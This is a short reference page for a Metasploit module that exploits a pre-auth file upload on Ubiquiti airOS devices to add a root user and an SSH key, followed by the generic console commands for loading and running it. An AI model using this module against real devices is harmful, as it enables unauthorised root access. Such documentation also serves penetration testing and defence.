This module exploits a pre-auth file upload to install a new root user to /etc/passwd and an SSH key to /etc/dropbear/authorized_keys. FYI, /etc/{passwd,dropbear/authorized_keys} will be overwritten. /etc/persistent/rc.poststart will be overwritten if PERSIST_ETC is true. This method is used by the "mf" malware infecting these devices.

To display the available options, load the module within the Metasploit console and run the commands 'show options' or 'show advanced':
msf > use exploit/linux/http/ubiquiti_airos_file_upload
msf exploit(ubiquiti_airos_file_upload) > show targets
...targets...
msf exploit(ubiquiti_airos_file_upload) > set TARGET < target-id >
msf exploit(ubiquiti_airos_file_upload) > show options
...show and set options...
msf exploit(ubiquiti_airos_file_upload) > exploit
Time is precious, so I don’t want to do something manually that I can automate. Leveraging the Metasploit Framework when automating any task keeps us from having to re-create the wheel as we can use the existing libraries and focus our efforts where it matters.
